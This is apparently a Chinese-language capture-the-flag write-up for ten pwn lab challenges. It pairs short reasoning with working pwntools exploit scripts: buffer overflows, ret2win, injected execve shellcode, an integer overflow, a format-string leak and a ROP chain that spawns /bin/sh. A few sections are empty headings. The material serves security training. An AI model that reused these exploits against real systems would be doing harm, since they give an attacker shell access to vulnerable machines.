思路
用r2 打開檔案發現題目變數var_4h初始設為0x539
,在變數var_4h不是0x539
時跳到0x8f9
這個func也又是有開/bin/sh
可以跳到這裡代表可以能到shell
rbp-0x40
,var_4h為rbp-0x4
因此可得知只要把rbp-0x40
這一段蓋掉,rbp-0x4
這段塞入非0x539
的數值即可pwnpayload
from pwn import *
ip='10.10.101.156'
port=9001
r=remote(ip,port)
r.sendline(b'a'*0x40)
r.interactive()
思路
用r2打開題意為變數var_4h初始為0xbadf00d
、var_8h為0xfee1dead
,但是第一層必須要var_4h等於0xc0ff33
才能跳到0x962
也就是往走向/bin/sh
的第二層,在此層必須在滿足var_8h等於0xc0d3
才能跳到0x96b
也就是/bin/sh
所在地
0x70~0x8
填完,之後在0x8~0x4
填入0xc0d3
,0x4~rbp
填入0xc0ff33
即可pwnfrom pwn import *
ip='10.10.101.156'
port=9002
r=remote(ip,port)
r.sendline(b'a'*104 + p32(0xc0d3) + p32(0xc0ff33))
r.interactive()
思路
打開IDA free(原本用IDA pro看完全跨毋,加上親自實測程式運行,可以發現程式執行會有5個選項可以選其中選擇第三個選項時可以輸入,搭配IDA 看code 發現可以pwn的地方 __isoc99_scanf("%s", s1);
其中輸入的s1為char s1[32]; // [rsp+0h] [rbp-20h] BYREF
,在IDA中有一個func是admins_only
打開來看有/bin/sh
IDA
main functionint __fastcall main(int argc, const char **argv, const char **envp) { const char **v3; // rdx int result; // eax int v5; // [rsp+Ch] [rbp-4h] BYREF setup(argc, argv, envp); banner(); puts(&byte_403298); puts(a1_0); puts(&byte_403298); printf(&byte_403323); __isoc99_scanf(&unk_403340, &v5); switch ( v5 ) { case 1: result = announcements(); break; case 2: result = rules(); break; case 3: result = general(); break; case 4: result = discussion(); break; case 5: result = bot_cmd(); break; default: result = main((int)&unk_403340, (const char **)&v5, v3); break; } return result; }
general() function
int general() { const char **v0; // rdx char s1[32]; // [rsp+0h] [rbp-20h] BYREF puts(asc_4023AA); puts(aJopraveenHello); puts(aJopraveenHopeY); puts(aJopraveenYouFo); printf("------[pwner]: "); __isoc99_scanf("%s", s1); if ( strcmp(s1, "yes") ) return puts(aTryHarder); puts(aJopraveenGg); return main((int)aJopraveenGg, (const char **)"yes", v0); }
admins_only
int admins_only() { puts(asc_403267); puts(aWelcomeAdmin); return system("/bin/sh"); }
主要要把ret addr 換成admins_only的位置因此先把general()的0x20
蓋掉接著再蓋掉0x8的rbp,填入admins_only的位置,在這填的是0x401555
而不是第一個0x401554
因為在第一個位置還有push rbp
因此選擇push rbp
之後的位置
payload
from pwn import *
#r=process('./pwn103-1644300337872.pwn103')
ip='10.10.100.188'
port=9003
r=remote(ip,port)
r.sendline(b'3')
r.sendline(b'a'*0x28 + p64(0x401555))
r.interactive()
思路
用IDA 打開看buf這個陣列大小為80但是可以輸入的值為200明顯可以bof。
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
setup(argc, argv, envp);
banner();
puts(aIThinkIHaveSom);
puts(aEspeciallyExec);
puts(aCanWeGoForAFig);
printf("I'm waiting for you at %p\n", buf);
return read(0, buf, 0xC8uLL);
}
先塞入shellcode接著在80個把buf填滿,在填8個把rbp蓋過去,因為前面有填入shellcode要把這一段的長度拿掉不算,所以實際填入的total要是88-len(shellcode)
,接著在填上連上題目就會給你的ret addres
payload
from pwn import *
ip='10.10.106.113'
port=9004
r=remote(ip,port)
r.recvlines(9)
addres=int(r.recv().decode().split(' ')[-1],16)
shellcode=b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05"
r.sendline(shellcode + b'a'*(88-len(shellcode))+p64(addres))
r.interactive()
思路
必須滿足題目(v5 & 0x80000000) != 0 || (v6 & 0x80000000) != 0
才能有機會跳到/bin/sh
意思是v5、v6必須要是小於0x80000000
也就是小於等於C裡面int最大值2147483647,但是要需要v5+v6也就是v7大於等於0x80000000
才會(v7 & 0x80000000) != 0
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v5; // [rsp+Ch] [rbp-14h] BYREF
unsigned int v6; // [rsp+10h] [rbp-10h] BYREF
unsigned int v7; // [rsp+14h] [rbp-Ch]
unsigned __int64 v8; // [rsp+18h] [rbp-8h]
v8 = __readfsqword(0x28u);
setup(argc, argv, envp);
banner();
puts("-------=[ BAD INTEGERS ]=-------");
puts("|-< Enter two numbers to add >-|\n");
printf("]>> ");
__isoc99_scanf("%d", &v5);
printf("]>> ");
__isoc99_scanf("%d", &v6);
v7 = v5 + v6;
if ( (v5 & 0x80000000) != 0 || (v6 & 0x80000000) != 0 )
{
printf("\n[o.O] Hmmm... that was a Good try!\n");
}
else if ( (v7 & 0x80000000) != 0 )
{
printf("\n[*] C: %d", v7);
puts("\n[*] Popped Shell\n[*] Switching to interactive mode");
system("/bin/sh");
}
else
{
printf("\n[*] ADDING %d + %d", v5, v6);
printf("\n[*] RESULT: %d\n", v7);
}
return v8 - __readfsqword(0x28u);
}
v5填2147483647、v6填1,讓v5+v6(v7)大於int最大值,pwn!
payload
from pwn import *
ip='10.10.12.233'
port=9005
r=remote(ip,port)
r.recvlines(9)
r.sendlineafter(']>>',b'2147483647')
r.sendlineafter(']>>',b'1')
r.interactive()
思路
用GDB R2搭配,發現%6$p
會撈到flag 的第一段,依此類推慢慢撈下去
(第一次自己寫fmt的payload花了有點久,之前都是直接丟到網站直接convert好)
payload
from pwn import *
r=remote('10.10.125.41',9006)
#r = process('/mnt/d/Users/cheng/Downloads/pwn106-user-1644300441063.pwn106-user')
r.recvlines(7)
r.sendline(b"%6$p,%7$p,%8$p,%9$p,%10$p,%11$p,%12$p")
r.recvline()
response = r.recvline().decode().strip().replace('Thanks ', '').replace('0x','').split(',')
for i in range(7):
print(bytes.fromhex(response[i]).decode()[::-1],end='')
print()
r.close()
思路
payload
思路
payload
思路
payload
思路
可以看到var_20h
這個變數要蓋,之後再慢慢的去找 ROPgadget串syscall,
NR | SYSCALL NAME | references | RAX | ARG0 (rdi) | ARG1 (rsi) | ARG2 (rdx) | ARG3 (r10) | ARG4 (r8) | ARG5 (r9) |
---|---|---|---|---|---|---|---|---|---|
59 | execve | man/ cs/ | 3B | const char *filename | const char *const *argv | const char *const *envp | - | - | - |
根據上面表格一個一個串
#pop rax
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rax ; ret"
0x00000000004497d7 : pop rax ; ret
#pop rdi
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rdi ; ret"
0x000000000040191a : pop rdi ; ret
#pop rsi
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rsi ; ret"
0x000000000045b246 : or byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000040f4de : pop rsi ; ret
#pop rdx
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/ra130/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "pop rdx ; ret"
0x000000000040181b : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret
0x000000000040181d : add byte ptr [rax], al ; pop rdx ; ret
0x0000000000401817 : fst dword ptr [rdi] ; or al, 0 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret
0x0000000000401819 : or al, 0 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret
0x000000000040181f : pop rdx ; ret
0x0000000000472f42 : pop rdx ; retf
0x0000000000472f3d : sal byte ptr [rax + riz - 0x75], 0x35 ; pop rdx ; retf
# find data addres
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/ra130/Downloads]
└─$ readelf -S pwn110-1644300525386.pwn110 | grep "\.data"
[18] .data.rel.ro PROGBITS 00000000004bd100 000bc100
[21] .data PROGBITS 00000000004c00e0 000bf0e0
#將寄存器 rdx 中的值寫入 rdi 指向的記憶體位置
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep "mov qword ptr \[
rdi\]"
省略
0x00000000004340a3 : mov qword ptr [rdi], rdx ; ret
省略
#最後去尋找執行整個ROPchain 的syscall
┌──(kali㉿LAPTOP-FKRJU4AD)-[/mnt/c/Users/1/Downloads]
└─$ ROPgadget --binary pwn110-1644300525386.pwn110 | grep syscall
省略
0x00000000004012d3 : syscall
省略
都找好位置後按造syscall table 的要求
payload
from pwn import *
r=remote('10.10.162.17',9010)
pop_rdi=0x40191a
pop_rax=0x4497d7
pop_rsi=0x40f4de
pop_rdx=0x40181f
data_addr=0x4c00e0
mov_rdx_to_rdi=0x4340a3
syscall_addr=0x4012d3
r.sendline(b'a'*0x28+p64(pop_rdx)+b'/bin/sh\x00'+p64(pop_rdi)+p64(data_addr)+p64(mov_rdx_to_rdi)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(59)+p64(syscall_addr))
r.interactive()